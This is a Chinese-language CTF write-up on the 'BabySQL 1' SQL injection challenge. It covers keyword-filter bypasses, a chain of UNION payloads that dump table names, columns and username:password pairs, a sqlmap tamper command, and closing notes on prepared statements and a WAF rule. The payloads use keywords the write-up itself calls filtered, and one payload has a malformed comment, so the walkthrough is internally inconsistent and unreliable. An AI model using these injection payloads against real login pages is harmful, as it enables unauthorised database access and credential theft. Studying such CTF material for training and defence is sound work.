1. 题目背景解析
"BabySQL 1"是2019年极客大挑战中的一道SQL注入类CTF题目。这类题目通常模拟真实Web应用中的数据库交互场景,考察选手对SQL注入原理的理解和绕过技巧的掌握。题目名称中的"Baby"暗示这是一个基础级别的SQL注入挑战,适合新手入门学习。
从题目编号"1"可以看出这是该系列的第一题,通常会设置相对简单的过滤机制,主要考察基础的注入手法。这类题目在实际CTF比赛中非常常见,是Web安全方向的必考知识点。
2. 环境搭建与题目分析
2.1 题目环境准备
首先我们需要搭建本地测试环境来复现这道题目。推荐使用Docker快速部署:
docker pull ctftraining/baby_sql docker run -d -p 8080:80 --name baby_sql ctftraining/baby_sql访问http://localhost:8080即可看到题目界面。典型的登录页面结构,包含用户名和密码输入框。
2.2 初步测试
尝试基本的SQL注入payload:
admin' or 1=1 --发现返回错误信息,提示某些关键字被过滤。这是题目设置的防御机制,我们需要分析具体的过滤规则。
3. 过滤机制分析与绕过
3.1 识别过滤关键字
通过系统化测试,可以发现以下关键字被过滤:
- or
- and
- select
- from
- where
- union
- =
- 空格
- 注释符(--, #)
3.2 绕过技巧详解
3.2.1 关键字替换
对于被过滤的关键字,可以采用以下替代方案:
- or → || (逻辑或)
- and → && (逻辑与)
- = → like
- 空格 → /**/或%09(TAB)
3.2.2 注释符绕过
由于常规注释符被过滤,可以使用:
'||1=1||'这种闭合方式代替注释。
3.2.3 等号绕过
等号被过滤时可以使用:
- like
- regexp
- <>反向逻辑
4. 完整注入流程
4.1 判断注入点
使用测试payload:
admin'||'1'like'1如果返回正常,说明存在注入点。
4.2 获取数据库信息
绕过select过滤获取数据库版本:
admin'/**/union/**/select/**/1,version(),3||'这里使用/**/代替空格,version()替代被过滤的database()。
4.3 获取表名
admin'/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/database()||'4.4 获取字段名
admin'/**/union/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_name/**/like/**'users'||'4.5 获取flag
最后获取目标数据:
admin'/**/union/**/select/**/1,group_concat(username,0x3a,password),3/**/from/**/users||'5. 自动化工具使用
虽然手工注入有助于理解原理,但在实际场景中可以使用sqlmap提高效率:
sqlmap -u "http://target/login.php" --data="username=admin&password=123" --tamper=space2comment --random-agent --level=3关键参数说明:
- --tamper=space2comment:将空格转换为/**/
- --level=3:提高检测级别
- --random-agent:随机User-Agent
6. 防御方案
6.1 代码层面
// 预处理语句 $stmt = $conn->prepare("SELECT * FROM users WHERE username = ? AND password = ?"); $stmt->bind_param("ss", $username, $password); $stmt->execute();6.2 WAF规则
SecRule REQUEST_FILENAME "@contains login.php" \ "id:1001,\ phase:2,\ t:none,\ block,\ msg:'SQLi attempt',\ chain" SecRule ARGS "@rx (?i)(union|select|from|where|and|or|\-\-|#|=)"7. 常见问题排查
7.1 注入无响应
可能原因:
- 过滤规则未完全绕过
- 注入点判断错误
- 特殊字符编码问题
解决方案:
- 系统化测试每个字符的过滤情况
- 尝试不同参数位置
- 使用URL编码特殊字符
7.2 获取数据不完整
可能原因:
- 数据截断
- 字段类型不匹配
解决方案:
- 使用limit分页获取
- 使用cast()转换字段类型
8. 实战经验分享
在测试过滤规则时,建议从简单到复杂逐步测试,先确定哪些字符被过滤,再设计绕过方案。
遇到复杂过滤时,可以尝试以下技巧:
- 大小写混合:SeLeCt
- 双重编码:%2520代替空格
- 内联注释:/!select/
实际比赛中时间有限,建议先手工确认注入点,再用工具爆破。
注意Web服务器日志可能会记录攻击行为,在合法授权范围内进行测试。
不同数据库的语法差异很大,MySQL的绕过方法不一定适用于Oracle或SQL Server。
这道题目虽然名为"BabySQL",但完整涵盖了SQL注入的基础知识点。通过这道题目的练习,可以掌握基本的注入检测、绕过技巧和数据获取方法。在实际应用中,务必遵守法律法规,仅在授权范围内进行安全测试。